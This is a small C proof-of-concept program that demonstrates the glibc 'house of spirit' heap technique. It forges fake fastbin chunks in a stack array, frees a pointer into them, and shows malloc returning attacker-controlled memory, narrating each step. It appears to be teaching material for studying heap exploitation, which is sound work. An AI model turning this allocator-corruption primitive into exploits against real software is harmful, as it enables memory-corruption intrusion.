#include <stdio.h>
#include <stdlib.h>

int main() {
    malloc(1);

    fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "The first one:  %p\n", &fake_chunks[0]);
    fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);

    fake_chunks[1] = 0x20;      // the size
    fake_chunks[5] = 0x1234;    // nextsize

    fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[6] = 0x4141414141414141LL;

    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
    b = malloc(0x10);
    fprintf(stderr, "malloc(0x10): %p\n", b);
    b[0] = 0x4242424242424242LL;
}